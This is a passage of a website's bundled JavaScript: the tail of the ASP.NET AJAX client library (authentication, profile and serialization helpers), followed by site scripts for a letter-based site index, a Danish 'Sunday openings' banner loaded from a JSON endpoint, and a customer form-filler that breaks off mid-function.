Error.invalidOperation(Sys.Res.servicePathNotSet);return a},_onLoadComplete:function(a,f,g){if(typeof a!=="object")throw Error.invalidOperation(String.format(Sys.Res.webServiceInvalidReturnType,g,"Object"));var d=this._unflattenProperties(a);for(var b in d)this.properties[b]=d[b];var c=f[0],e=c?c:this._defaultLoadCompletedCallback;if(e)e(a.length,f[2],"Sys.Services.ProfileService.load")},_onLoadFailed:function(d,c){var a=c[1],b=a?a:this._defaultFailedCallback;if(b)b(d,c[2],"Sys.Services.ProfileService.load")},_onSaveComplete:function(d,c,f){if(typeof d!=="number")throw Error.invalidOperation(String.format(Sys.Res.webServiceInvalidReturnType,f,"Number"));var a=c[0],e=c[2],b=a?a:this._defaultSaveCompletedCallback;if(b)b(d,e,"Sys.Services.ProfileService.save")},_onSaveFailed:function(e,c){var a=c[1],d=c[2],b=a?a:this._defaultFailedCallback;if(b)b(e,d,"Sys.Services.ProfileService.save")},_unflattenProperties:function(e){var c={},d,f,h=0;for(var a in e){h++;f=e[a];d=a.indexOf(".");if(d!==-1){var g=a.substr(0,d);a=a.substr(d+1);var b=c[g];if(!b||!Sys.Services.ProfileGroup.isInstanceOfType(b)){b=new Sys.Services.ProfileGroup;c[g]=b}b[a]=f}else c[a]=f}e.length=h;return c}};Sys.Services._ProfileService.registerClass("Sys.Services._ProfileService",Sys.Net.WebServiceProxy);Sys.Services.ProfileService=new Sys.Services._ProfileService;Sys.Services.ProfileGroup=function(a){if(a)for(var b in a)this[b]=a[b]};Sys.Services.ProfileGroup.registerClass("Sys.Services.ProfileGroup");Sys.Services._AuthenticationService=function(){Sys.Services._AuthenticationService.initializeBase(this)};Sys.Services._AuthenticationService.DefaultWebServicePath="";Sys.Services._AuthenticationService.prototype={_defaultFailedCallback:null,_defaultLoginCompletedCallback:null,_defaultLogoutCompletedCallback:null,_path:"",_timeout:0,_authenticated:false,get_defaultFailedCallback:function(){return this._defaultFailedCallback},set_defaultFailedCallback:function(a){this._defaultFailedCallback=a},get_defaultLoginCompletedCallback:function(){return this._defaultLoginCompletedCallback},set_defaultLoginCompletedCallback:function(a){this._defaultLoginCompletedCallback=a},get_defaultLogoutCompletedCallback:function(){return this._defaultLogoutCompletedCallback},set_defaultLogoutCompletedCallback:function(a){this._defaultLogoutCompletedCallback=a},get_isLoggedIn:function(){return this._authenticated},get_path:function(){return this._path},set_path:function(a){if(!a||!a.length)a="";this._path=a},get_timeout:function(){return this._timeout},set_timeout:function(a){this._timeout=a},login:function(c,b,a,h,f,d,e,g){this._invoke(this._get_path(),"Login",false,{userName:c,password:b,createPersistentCookie:a},Function.createDelegate(this,this._onLoginComplete),Function.createDelegate(this,this._onLoginFailed),[c,b,a,f,d,e,g])},logout:function(c,a,b,d){this._invoke(this._get_path(),"Logout",false,{},Function.createDelegate(this,this._onLogoutComplete),Function.createDelegate(this,this._onLogoutFailed),[c,a,b,d])},_get_path:function(){var a=this.get_path();if(!a.length)a=Sys.Services._AuthenticationService.DefaultWebServicePath;if(!a||!a.length)throw Error.invalidOperation(Sys.Res.servicePathNotSet);return a},_onLoginComplete:function(f,c,g){if(typeof f!=="boolean")throw Error.invalidOperation(String.format(Sys.Res.webServiceInvalidReturnType,g,"Boolean"));var b=c[3],d=c[4],e=c[6],a=d?d:this._defaultLoginCompletedCallback;if(f){this._authenticated=true;if(a)a(true,e,"Sys.Services.AuthenticationService.login");if(typeof b!=="undefined"&&b!==null)window.location.href=b}else if(a)a(false,e,"Sys.Services.AuthenticationService.login")},_onLoginFailed:function(d,c){var a=c[5],b=a?a:this._defaultFailedCallback;if(b)b(d,c[6],"Sys.Services.AuthenticationService.login")},_onLogoutComplete:function(g,a,f){if(g!==null)throw Error.invalidOperation(String.format(Sys.Res.webServiceInvalidReturnType,f,"null"));var c=a[0],b=a[1],e=a[3],d=b?b:this._defaultLogoutCompletedCallback;this._authenticated=false;if(d)d(null,e,"Sys.Services.AuthenticationService.logout");if(!c)window.location.reload();else window.location.href=c},_onLogoutFailed:function(d,c){var a=c[2],b=a?a:this._defaultFailedCallback;if(b)b(d,c[3],"Sys.Services.AuthenticationService.logout")},_setAuthenticated:function(a){this._authenticated=a}};Sys.Services._AuthenticationService.registerClass("Sys.Services._AuthenticationService",Sys.Net.WebServiceProxy);Sys.Services.AuthenticationService=new Sys.Services._AuthenticationService;Type.registerNamespace("Sys.Serialization");Sys.Serialization.JavaScriptSerializer=function(){};Sys.Serialization.JavaScriptSerializer.registerClass("Sys.Serialization.JavaScriptSerializer");Sys.Serialization.JavaScriptSerializer._stringRegEx=new RegExp('["\b\f\n\r\t\\\\\x00-\x1F]',"i");Sys.Serialization.JavaScriptSerializer._serializeWithBuilder=function(b,a,h){var c;switch(typeof b){case "object":if(b)if(Array.isInstanceOfType(b)){a.append("[");for(c=0;c<b.length;++c){if(c>0)a.append(",");Sys.Serialization.JavaScriptSerializer._serializeWithBuilder(b[c],a)}a.append("]")}else{if(Date.isInstanceOfType(b)){a.append('"\\/Date(');a.append(b.getTime());a.append(')\\/"');break}var e=[],i=0;for(var g in b){if(g.startsWith("$"))continue;e[i++]=g}if(h)e.sort();a.append("{");var j=false;for(c=0;c<i;c++){var f=b[e[c]];if(typeof f!=="undefined"&&typeof f!=="function"){if(j)a.append(",");else j=true;Sys.Serialization.JavaScriptSerializer._serializeWithBuilder(e[c],a,h);a.append(":");Sys.Serialization.JavaScriptSerializer._serializeWithBuilder(f,a,h)}}a.append("}")}else a.append("null");break;case "number":if(isFinite(b))a.append(String(b));else throw Error.invalidOperation(Sys.Res.cannotSerializeNonFiniteNumbers);break;case "string":a.append('"');if(Sys.Browser.agent===Sys.Browser.Safari||Sys.Serialization.JavaScriptSerializer._stringRegEx.test(b)){var k=b.length;for(c=0;c<k;++c){var d=b.charAt(c);if(d>=" "){if(d==="\\"||d==='"')a.append("\\");a.append(d)}else switch(d){case "\b":a.append("\\b");break;case "\f":a.append("\\f");break;case "\n":a.append("\\n");break;case "\r":a.append("\\r");break;case "\t":a.append("\\t");break;default:a.append("\\u00");if(d.charCodeAt()<16)a.append("0");a.append(d.charCodeAt().toString(16))}}}else a.append(b);a.append('"');break;case "boolean":a.append(b.toString());break;default:a.append("null");break}};Sys.Serialization.JavaScriptSerializer.serialize=function(b){var a=new Sys.StringBuilder;Sys.Serialization.JavaScriptSerializer._serializeWithBuilder(b,a,false);return a.toString()};Sys.Serialization.JavaScriptSerializer.deserialize=function(data){if(data.length===0)throw Error.argument("data",Sys.Res.cannotDeserializeEmptyString);try{var exp=data.replace(new RegExp('(^|[^\\\\])\\"\\\\/Date\\((-?[0-9]+)\\)\\\\/\\"',"g"),"$1new Date($2)");return eval("("+exp+")")}catch(a){throw Error.argument("data",Sys.Res.cannotDeserializeInvalidJson)}};Sys.CultureInfo=function(c,b,a){this.name=c;this.numberFormat=b;this.dateTimeFormat=a};Sys.CultureInfo.prototype={_getDateTimeFormats:function(){if(!this._dateTimeFormats){var a=this.dateTimeFormat;this._dateTimeFormats=[a.MonthDayPattern,a.YearMonthPattern,a.ShortDatePattern,a.ShortTimePattern,a.LongDatePattern,a.LongTimePattern,a.FullDateTimePattern,a.RFC1123Pattern,a.SortableDateTimePattern,a.UniversalSortableDateTimePattern]}return this._dateTimeFormats},_getMonthIndex:function(a){if(!this._upperMonths)this._upperMonths=this._toUpperArray(this.dateTimeFormat.MonthNames);return Array.indexOf(this._upperMonths,this._toUpper(a))},_getAbbrMonthIndex:function(a){if(!this._upperAbbrMonths)this._upperAbbrMonths=this._toUpperArray(this.dateTimeFormat.AbbreviatedMonthNames);return Array.indexOf(this._upperMonths,this._toUpper(a))},_getDayIndex:function(a){if(!this._upperDays)this._upperDays=this._toUpperArray(this.dateTimeFormat.DayNames);return Array.indexOf(this._upperDays,this._toUpper(a))},_getAbbrDayIndex:function(a){if(!this._upperAbbrDays)this._upperAbbrDays=this._toUpperArray(this.dateTimeFormat.AbbreviatedDayNames);return Array.indexOf(this._upperAbbrDays,this._toUpper(a))},_toUpperArray:function(c){var b=[];for(var a=0,d=c.length;a<d;a++)b[a]=this._toUpper(c[a]);return b},_toUpper:function(a){return a.split("\u00A0").join(" ").toUpperCase()}};Sys.CultureInfo._parse=function(b){var a=Sys.Serialization.JavaScriptSerializer.deserialize(b);return new Sys.CultureInfo(a.name,a.numberFormat,a.dateTimeFormat)};Sys.CultureInfo.registerClass("Sys.CultureInfo");Sys.CultureInfo.InvariantCulture=Sys.CultureInfo._parse('{"name":"","numberFormat":{"CurrencyDecimalDigits":2,"CurrencyDecimalSeparator":".","IsReadOnly":true,"CurrencyGroupSizes":[3],"NumberGroupSizes":[3],"PercentGroupSizes":[3],"CurrencyGroupSeparator":",","CurrencySymbol":"\u00A4","NaNSymbol":"NaN","CurrencyNegativePattern":0,"NumberNegativePattern":1,"PercentPositivePattern":0,"PercentNegativePattern":0,"NegativeInfinitySymbol":"-Infinity","NegativeSign":"-","NumberDecimalDigits":2,"NumberDecimalSeparator":".","NumberGroupSeparator":",","CurrencyPositivePattern":0,"PositiveInfinitySymbol":"Infinity","PositiveSign":"+","PercentDecimalDigits":2,"PercentDecimalSeparator":".","PercentGroupSeparator":",","PercentSymbol":"%","PerMilleSymbol":"\u2030","NativeDigits":["0","1","2","3","4","5","6","7","8","9"],"DigitSubstitution":1},"dateTimeFormat":{"AMDesignator":"AM","Calendar":{"MinSupportedDateTime":"@-62135568000000@","MaxSupportedDateTime":"@253402300799999@","AlgorithmType":1,"CalendarType":1,"Eras":[1],"TwoDigitYearMax":2029,"IsReadOnly":true},"DateSeparator":"/","FirstDayOfWeek":0,"CalendarWeekRule":0,"FullDateTimePattern":"dddd, dd MMMM yyyy HH:mm:ss","LongDatePattern":"dddd, dd MMMM yyyy","LongTimePattern":"HH:mm:ss","MonthDayPattern":"MMMM dd","PMDesignator":"PM","RFC1123Pattern":"ddd, dd MMM yyyy HH\':\'mm\':\'ss \'GMT\'","ShortDatePattern":"MM/dd/yyyy","ShortTimePattern":"HH:mm","SortableDateTimePattern":"yyyy\'-\'MM\'-\'dd\'T\'HH\':\'mm\':\'ss","TimeSeparator":":","UniversalSortableDateTimePattern":"yyyy\'-\'MM\'-\'dd HH\':\'mm\':\'ss\'Z\'","YearMonthPattern":"yyyy MMMM","AbbreviatedDayNames":["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],"ShortestDayNames":["Su","Mo","Tu","We","Th","Fr","Sa"],"DayNames":["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],"AbbreviatedMonthNames":["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec",""],"MonthNames":["January","February","March","April","May","June","July","August","September","October","November","December",""],"IsReadOnly":true,"NativeCalendarName":"Gregorian Calendar","AbbreviatedMonthGenitiveNames":["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec",""],"MonthGenitiveNames":["January","February","March","April","May","June","July","August","September","October","November","December",""]}}');if(typeof __cultureInfo==="undefined")var __cultureInfo='{"name":"en-US","numberFormat":{"CurrencyDecimalDigits":2,"CurrencyDecimalSeparator":".","IsReadOnly":false,"CurrencyGroupSizes":[3],"NumberGroupSizes":[3],"PercentGroupSizes":[3],"CurrencyGroupSeparator":",","CurrencySymbol":"$","NaNSymbol":"NaN","CurrencyNegativePattern":0,"NumberNegativePattern":1,"PercentPositivePattern":0,"PercentNegativePattern":0,"NegativeInfinitySymbol":"-Infinity","NegativeSign":"-","NumberDecimalDigits":2,"NumberDecimalSeparator":".","NumberGroupSeparator":",","CurrencyPositivePattern":0,"PositiveInfinitySymbol":"Infinity","PositiveSign":"+","PercentDecimalDigits":2,"PercentDecimalSeparator":".","PercentGroupSeparator":",","PercentSymbol":"%","PerMilleSymbol":"\u2030","NativeDigits":["0","1","2","3","4","5","6","7","8","9"],"DigitSubstitution":1},"dateTimeFormat":{"AMDesignator":"AM","Calendar":{"MinSupportedDateTime":"@-62135568000000@","MaxSupportedDateTime":"@253402300799999@","AlgorithmType":1,"CalendarType":1,"Eras":[1],"TwoDigitYearMax":2029,"IsReadOnly":false},"DateSeparator":"/","FirstDayOfWeek":0,"CalendarWeekRule":0,"FullDateTimePattern":"dddd, MMMM dd, yyyy h:mm:ss tt","LongDatePattern":"dddd, MMMM dd, yyyy","LongTimePattern":"h:mm:ss tt","MonthDayPattern":"MMMM dd","PMDesignator":"PM","RFC1123Pattern":"ddd, dd MMM yyyy HH\':\'mm\':\'ss \'GMT\'","ShortDatePattern":"M/d/yyyy","ShortTimePattern":"h:mm tt","SortableDateTimePattern":"yyyy\'-\'MM\'-\'dd\'T\'HH\':\'mm\':\'ss","TimeSeparator":":","UniversalSortableDateTimePattern":"yyyy\'-\'MM\'-\'dd HH\':\'mm\':\'ss\'Z\'","YearMonthPattern":"MMMM, yyyy","AbbreviatedDayNames":["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],"ShortestDayNames":["Su","Mo","Tu","We","Th","Fr","Sa"],"DayNames":["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],"AbbreviatedMonthNames":["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec",""],"MonthNames":["January","February","March","April","May","June","July","August","September","October","November","December",""],"IsReadOnly":false,"NativeCalendarName":"Gregorian Calendar","AbbreviatedMonthGenitiveNames":["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec",""],"MonthGenitiveNames":["January","February","March","April","May","June","July","August","September","October","November","December",""]}}';Sys.CultureInfo.CurrentCulture=Sys.CultureInfo._parse(__cultureInfo);delete __cultureInfo;Sys.UI.Point=function(a,b){this.x=a;this.y=b};Sys.UI.Point.registerClass("Sys.UI.Point");Sys.UI.Bounds=function(c,d,b,a){this.x=c;this.y=d;this.height=a;this.width=b};Sys.UI.Bounds.registerClass("Sys.UI.Bounds");Sys.UI.DomElement=function(){};Sys.UI.DomElement.registerClass("Sys.UI.DomElement");Sys.UI.DomElement.addCssClass=function(a,b){if(!Sys.UI.DomElement.containsCssClass(a,b))if(a.className==="")a.className=b;else a.className+=" "+b};Sys.UI.DomElement.containsCssClass=function(b,a){return Array.contains(b.className.split(" "),a)};Sys.UI.DomElement.getBounds=function(a){var b=Sys.UI.DomElement.getLocation(a);return new Sys.UI.Bounds(b.x,b.y,a.offsetWidth||0,a.offsetHeight||0)};var $get=Sys.UI.DomElement.getElementById=function(f,e){if(!e)return document.getElementById(f);if(e.getElementById)return e.getElementById(f);var c=[],d=e.childNodes;for(var b=0;b<d.length;b++){var a=d[b];if(a.nodeType==1)c[c.length]=a}while(c.length){a=c.shift();if(a.id==f)return a;d=a.childNodes;for(b=0;b<d.length;b++){a=d[b];if(a.nodeType==1)c[c.length]=a}}return null};switch(Sys.Browser.agent){case Sys.Browser.InternetExplorer:Sys.UI.DomElement.getLocation=function Sys$UI$DomElement$getLocation(a){if(a.self||a.nodeType===9)return new Sys.UI.Point(0,0);var d=a.getClientRects();if(!d||!d.length)return new Sys.UI.Point(0,0);var e=a.ownerDocument.parentWindow,g=e.screenLeft-top.screenLeft-top.document.documentElement.scrollLeft+2,h=e.screenTop-top.screenTop-top.document.documentElement.scrollTop+2,c=e.frameElement||null;if(c){var b=c.currentStyle;g+=(c.frameBorder||1)*2+(parseInt(b.paddingLeft)||0)+(parseInt(b.borderLeftWidth)||0)-a.ownerDocument.documentElement.scrollLeft;h+=(c.frameBorder||1)*2+(parseInt(b.paddingTop)||0)+(parseInt(b.borderTopWidth)||0)-a.ownerDocument.documentElement.scrollTop}var f=d[0];return new Sys.UI.Point(f.left-g,f.top-h)};break;case Sys.Browser.Safari:Sys.UI.DomElement.getLocation=function(c){if(c.window&&c.window===c||c.nodeType===9)return new Sys.UI.Point(0,0);var g=0,h=0,j=null,f=null,b;for(var a=c;a;j=a,(f=b,a=a.offsetParent)){b=Sys.UI.DomElement._getCurrentStyle(a);var e=a.tagName;if((a.offsetLeft||a.offsetTop)&&(e!=="BODY"||(!f||f.position!=="absolute"))){g+=a.offsetLeft;h+=a.offsetTop}}b=Sys.UI.DomElement._getCurrentStyle(c);var d=b?b.position:null,k=d&&d!=="static";if(!d||d!=="absolute")for(var a=c.parentNode;a;a=a.parentNode){e=a.tagName;if(e!=="BODY"&&e!=="HTML"&&(a.scrollLeft||a.scrollTop)){g-=a.scrollLeft||0;h-=a.scrollTop||0}b=Sys.UI.DomElement._getCurrentStyle(a);var i=b?b.position:null;if(i&&i==="absolute")break}return new Sys.UI.Point(g,h)};break;case Sys.Browser.Opera:Sys.UI.DomElement.getLocation=function(b){if(b.window&&b.window===b||b.nodeType===9)return new Sys.UI.Point(0,0);var d=0,e=0,i=null;for(var a=b;a;i=a,a=a.offsetParent){var f=a.tagName;d+=a.offsetLeft||0;e+=a.offsetTop||0}var g=b.style.position,c=g&&g!=="static";for(var a=b.parentNode;a;a=a.parentNode){f=a.tagName;if(f!=="BODY"&&f!=="HTML"&&(a.scrollLeft||a.scrollTop)&&(c&&(a.style.overflow==="scroll"||a.style.overflow==="auto"))){d-=a.scrollLeft||0;e-=a.scrollTop||0}var h=a&&a.style?a.style.position:null;c=c||h&&h!=="static"}return new Sys.UI.Point(d,e)};break;default:Sys.UI.DomElement.getLocation=function(d){if(d.window&&d.window===d||d.nodeType===9)return new Sys.UI.Point(0,0);var e=0,f=0,i=null,h=null,b=null;for(var a=d;a;i=a,(h=b,a=a.offsetParent)){var c=a.tagName;b=Sys.UI.DomElement._getCurrentStyle(a);if((a.offsetLeft||a.offsetTop)&&!(c==="BODY"&&(!h||h.position!=="absolute"))){e+=a.offsetLeft;f+=a.offsetTop}if(i!==null&&b){if(c!=="TABLE"&&c!=="TD"&&c!=="HTML"){e+=parseInt(b.borderLeftWidth)||0;f+=parseInt(b.borderTopWidth)||0}if(c==="TABLE"&&(b.position==="relative"||b.position==="absolute")){e+=parseInt(b.marginLeft)||0;f+=parseInt(b.marginTop)||0}}}b=Sys.UI.DomElement._getCurrentStyle(d);var g=b?b.position:null,j=g&&g!=="static";if(!g||g!=="absolute")for(var a=d.parentNode;a;a=a.parentNode){c=a.tagName;if(c!=="BODY"&&c!=="HTML"&&(a.scrollLeft||a.scrollTop)){e-=a.scrollLeft||0;f-=a.scrollTop||0;b=Sys.UI.DomElement._getCurrentStyle(a);e+=parseInt(b.borderLeftWidth)||0;f+=parseInt(b.borderTopWidth)||0}}return new Sys.UI.Point(e,f)};break}Sys.UI.DomElement.removeCssClass=function(d,c){var a=" "+d.className+" ",b=a.indexOf(" "+c+" ");if(b>=0)d.className=(a.substr(0,b)+" "+a.substring(b+c.length+1,a.length)).trim()};Sys.UI.DomElement.setLocation=function(b,c,d){var a=b.style;a.position="absolute";a.left=c+"px";a.top=d+"px"};Sys.UI.DomElement.toggleCssClass=function(b,a){if(Sys.UI.DomElement.containsCssClass(b,a))Sys.UI.DomElement.removeCssClass(b,a);else Sys.UI.DomElement.addCssClass(b,a)};Sys.UI.DomElement._getCurrentStyle=function(a){var b=(a.ownerDocument?a.ownerDocument:a.documentElement).defaultView;return b&&a!==b&&b.getComputedStyle?b.getComputedStyle(a,null):a.style};Sys.UI.Behavior=function(b){Sys.UI.Behavior.initializeBase(this);this._element=b;var a=b._behaviors;if(!a)b._behaviors=[this];else a[a.length]=this};Sys.UI.Behavior.prototype={_name:null,get_element:function(){return this._element},get_id:function(){var a=Sys.UI.Behavior.callBaseMethod(this,"get_id");if(a)return a;if(!this._element||!this._element.id)return "";return this._element.id+"$"+this.get_name()},get_name:function(){if(this._name)return this._name;var a=Object.getTypeName(this),b=a.lastIndexOf(".");if(b!=-1)a=a.substr(b+1);if(!this.get_isInitialized())this._name=a;return a},set_name:function(a){this._name=a},initialize:function(){Sys.UI.Behavior.callBaseMethod(this,"initialize");var a=this.get_name();if(a)this._element[a]=this},dispose:function(){Sys.UI.Behavior.callBaseMethod(this,"dispose");if(this._element){var a=this.get_name();if(a)this._element[a]=null;Array.remove(this._element._behaviors,this);delete this._element}}};Sys.UI.Behavior.registerClass("Sys.UI.Behavior",Sys.Component);Sys.UI.Behavior.getBehaviorByName=function(b,c){var a=b[c];return a&&Sys.UI.Behavior.isInstanceOfType(a)?a:null};Sys.UI.Behavior.getBehaviors=function(a){if(!a._behaviors)return [];return Array.clone(a._behaviors)};Sys.UI.Behavior.getBehaviorsByType=function(d,e){var a=d._behaviors,c=[];if(a)for(var b=0,f=a.length;b<f;b++)if(e.isInstanceOfType(a[b]))c[c.length]=a[b];return c};Sys.UI.VisibilityMode=function(){throw Error.notImplemented()};Sys.UI.VisibilityMode.prototype={hide:0,collapse:1};Sys.UI.VisibilityMode.registerEnum("Sys.UI.VisibilityMode");Sys.UI.Control=function(a){Sys.UI.Control.initializeBase(this);this._element=a;a.control=this;this._oldDisplayMode=this._element.style.display;if(!this._oldDisplayMode||this._oldDisplayMode=="none")this._oldDisplayMode=""};Sys.UI.Control.prototype={_parent:null,_visibilityMode:Sys.UI.VisibilityMode.hide,get_element:function(){return this._element},get_id:function(){if(!this._element)return "";return this._element.id},set_id:function(){throw Error.invalidOperation(Sys.Res.cantSetId)},get_parent:function(){if(this._parent)return this._parent;else{var a=this._element.parentNode;while(a){if(a.control)return a.control;a=a.parentNode}return null}},set_parent:function(a){this._parent=a},get_visibilityMode:function(){return this._visibilityMode},set_visibilityMode:function(a){if(this._visibilityMode!==a){this._visibilityMode=a;if(this.get_visible()===false)if(this._visibilityMode===Sys.UI.VisibilityMode.hide)this._element.style.display=this._oldDisplayMode;else this._element.style.display="none"}this._visibilityMode=a},get_visible:function(){return this._element.style.visibility!="hidden"},set_visible:function(a){if(a!=this.get_visible()){this._element.style.visibility=a?"visible":"hidden";if(a||this._visibilityMode===Sys.UI.VisibilityMode.hide)this._element.style.display=this._oldDisplayMode;else this._element.style.display="none"}},addCssClass:function(a){Sys.UI.DomElement.addCssClass(this._element,a)},dispose:function(){Sys.UI.Control.callBaseMethod(this,"dispose");if(this._element){this._element.control=undefined;delete this._element}},initialize:function(){Sys.UI.Control.callBaseMethod(this,"initialize");var a=this._element},onBubbleEvent:function(){return false},raiseBubbleEvent:function(b,c){var a=this.get_parent();while(a){if(a.onBubbleEvent(b,c))return;a=a.get_parent()}},removeCssClass:function(a){Sys.UI.DomElement.removeCssClass(this._element,a)},toggleCssClass:function(a){Sys.UI.DomElement.toggleCssClass(this._element,a)}};Sys.UI.Control.registerClass("Sys.UI.Control",Sys.Component)
Sys.Res={'argumentInteger':'Value must be an integer.','scriptLoadMultipleCallbacks':'The script \'{0}\' contains multiple calls to Sys.Application.notifyScriptLoaded(). Only one is allowed.','invokeCalledTwice':'Cannot call invoke more than once.','webServiceFailed':'The server method \'{0}\' failed with the following error: {1}','argumentType':'Object cannot be converted to the required type.','argumentNull':'Value cannot be null.','controlCantSetId':'The id property can\'t be set on a control.','formatBadFormatSpecifier':'Format specifier was invalid.','webServiceFailedNoMsg':'The server method \'{0}\' failed.','argumentDomElement':'Value must be a DOM element.','invalidExecutorType':'Could not create a valid Sys.Net.WebRequestExecutor from: {0}.','cannotCallBeforeResponse':'Cannot call {0} when responseAvailable is false.','actualValue':'Actual value was {0}.','enumInvalidValue':'\'{0}\' is not a valid value for enum {1}.','scriptLoadFailed':'The script \'{0}\' could not be loaded.','parameterCount':'Parameter count mismatch.','cannotDeserializeEmptyString':'Cannot deserialize empty string.','formatInvalidString':'Input string was not in a correct format.','invalidTimeout':'Value must be greater than or equal to zero.','cannotAbortBeforeStart':'Cannot abort when executor has not started.','argument':'Value does not fall within the expected range.','cannotDeserializeInvalidJson':'Cannot deserialize. The data does not correspond to valid JSON.','invalidHttpVerb':'httpVerb cannot be set to an empty or null string.','nullWebRequest':'Cannot call executeRequest with a null webRequest.','eventHandlerInvalid':'Handler was not added through the Sys.UI.DomEvent.addHandler method.','cannotSerializeNonFiniteNumbers':'Cannot serialize non finite numbers.','argumentUndefined':'Value cannot be undefined.','webServiceInvalidReturnType':'The server method \'{0}\' returned an invalid type. Expected type: {1}','servicePathNotSet':'The path to the web service has not been set.','argumentTypeWithTypes':'Object of type \'{0}\' cannot be converted to type \'{1}\'.','cannotCallOnceStarted':'Cannot call {0} once started.','badBaseUrl1':'Base URL does not contain ://.','badBaseUrl2':'Base URL does not contain another /.','badBaseUrl3':'Cannot find last / in base URL.','setExecutorAfterActive':'Cannot set executor after it has become active.','paramName':'Parameter name: {0}','cannotCallOutsideHandler':'Cannot call {0} outside of a completed event handler.','format':'One of the identified items was in an invalid format.','assertFailedCaller':'Assertion Failed: {0}\r\nat {1}','argumentOutOfRange':'Specified argument was out of the range of valid values.','webServiceTimedOut':'The server method \'{0}\' timed out.','notImplemented':'The method or operation is not implemented.','assertFailed':'Assertion Failed: {0}','invalidOperation':'Operation is not valid due to the current state of the object.','breakIntoDebugger':'{0}\r\n\r\nBreak into debugger?'};
if(typeof(Sys)!=='undefined')Sys.Application.notifyScriptLoaded();

if (Object.isUndefined(Webwize)) { var Webwize = {}; }

Webwize.SiteIndex = Class.create({

	log: function(str) {
		if (!Object.isUndefined(site)) { site.log('SiteIndex: '+str); }
	},

	initialize: function(options) {
		this.options = Object.extend({
			transparentImage: '/files/system/transpacer.gif'
		},options || {});

		// Enable open/closing of indexwords
		$$('.word').each(function(element){
			element.observe('click', function(event){
            element.up('ul').toggleClassName('indexword open', 'indexword');

 });

		},this);
		$$('.indexletterlayer').each(function(e){e.hide();});
		$('a').show();
		// Enable letter navigation
			
		$$('.siteindexnav a').each(function(element){

		element.observe('click', function(event){
			//alert(element.innerHTML);
			$$('.siteindexnav a.active').each(function(e2){
		e2.removeClassName("active");
		});
			  $$('.indexletterlayer').each(function(e){e.hide();});
			//this.removeNavClasses();
			
			 element.addClassName('active');
            $(element.innerHTML.toLowerCase()).show();
           

 });

		},this);
		
	}
	
});if (Object.isUndefined(CodeCompany)) { var CodeCompany = {}; }

CodeCompany.Openings = Class.create({

	log: function(str) {
		if (!Object.isUndefined(site)) { site.log('openingSundays: '+str); }
	},

	initialize: function(options) {
		this.options = Object.extend({
		},options || {successCallback: Prototype.emptyFunction,
			overviewType: 'normal',
			async: true});
				this.templates = 
		{
			normal: 
			{
				normal: new Template('<span id="openings"><strong>*</strong> Næste søndagsåbent: #{day}.#{month}.#{year}</span>')
			},
			global:
			{
				normal: new Template('<h1 class="sifr-bliss2-regular sifr-25px">Husk Søndagsåbent #{day}.#{month}.#{year} Kl. 10-16<!-- --></h1>')
			}
		};
	},

	createOpeningsFromJSON: function(jsonStr) {
		var json;
		//alert(jsonStr);
		try { json=jsonStr.evalJSON(); }
		catch (error) {
			this.log('Malformed JSON: '+jsonStr);
			return;
		}
		//this.log("Sundays says: should enter each");
		json.each(function(date){
			if ((undefined===date.year) || (date.year==='')) { return; }
			if ((undefined===date.month) || (date.month==='')) { return; }
			if ((undefined===date.day) || (date.day==='')){ return; }

			// Build link text
			var text = date.day+'.'+date.month+'.'+date.year;
			//alert(text);
			//var test = 
			this.log('sundays tries templateing: ' + this.templates[this.options.overviewType].normal.evaluate(date));
			//alert(this.templates[this.options.overviewType].normal.evaluate(item));
			$('openings').update(this.templates[this.options.overviewType].normal.evaluate(date));
			},this);
		},

	createSundayOpenings: function() {
		this.log('Creating Sundayopenings');

		// Instantiate ImageMap
		//var im = new CodeCompany.ImageMap(element);

		var url = '/systemservice/sundays?json=1';
		new Ajax.Request(url,{
			method: 'get',
			onSuccess: (function(transport){
				this.createOpeningsFromJSON(transport.responseText);
				switch ( this.options.overviewType )
			{
				case 'normal':

				break;
				
				case 'global':
					document.fire('custom:fontreplace');
				break;
				
				default:
				break;
			}
				
				
			}).bind(this),
			onError: (function(transport){
				this.log('JSON request failed: '+url);
			}).bind(this)
		});
	}

});
CodeCompany.FormFiller = Class.create({
	log: function(str) {
		if (!Object.isUndefined(site)) { site.log('FormFiller: '+str); }
	},
	initialize: function(options) {
			this.options = Object.extend({
			prefix: '',
			firstnamefield: 'Fornavn',
			lastnamefield:	'Efternavn',
			dayphonefield:	'Telefon1',
			emailfield:		'Email',
			shopfield:		'Butik',
			adress:			'Adresse',
			city:			'By',
			zipcode:		'postnummer'
		},options || {});
		console.log("Formfiller constructed with this prefix: "+this.options.prefix);
	}.bind(this),
	fillForm: function(data) {
		//Populate form. (validate?)
		//namefield
		namefield = this.options.prefix+this.options.firstnamefield;
		if($(namefield)!==null&&(data.firstName!==''&&data.firstName!=null)){
		$(namefield).value=data.firstName;
		};
		//lastname
		lastnamefield = this.options.prefix+this.options.lastnamefield;
		if($(lastnamefield)!==null&&(data.surName!==''&&data.surName!=null)){
		$(lastnamefield).value=data.surName;
		};
		//phone
		phonefield = this.options.prefix+this.options.dayphonefield;
		if($(phonefield)!==null&&(data.phoneMobile!==''&&data.phoneMobile!=null)){
		$(phonefield).value=data.phoneMobile;
		};
		//email
		mailfield = this.options.prefix+this.options.emailfield;
		if($(mailfield)!==null&&(data.email!==''&&data.email!=null)){
		$(mailfield).value=data.email;
		};
		//adress
		adressfield = this.options.prefix+this.options.adress;
		if($(adressfield)!==null&&(data.streetName!==''&&data.streetName!=null)){
		$(adressfield).value=data.streetName;
		};
		//city
		cityfield = this.options.prefix+this.options.city;
		if($(cityfield)!==null&&(data.city!==''&&data.city!=null)){
		$(cityfield).value=data.city;
		};
		//zipcode
		zipfield = this.options.prefix+this.options.zipcode;
		if($(zipfield)!==null&&(data.zipCode!==''&&data.zipCode!=null)){
		$(zipfield).value=data.zipCode;
		};
		},

	failedCallBack: function() {
		//Fail!
		//do nothing :)
	},
	render: function(){
	 console.log("Formfiller tries with servicetoken:" + servicetoken);
	 //Somehow the options is undefined when callback is reached after webservice-call.. do I need to bind THIS somehow? 
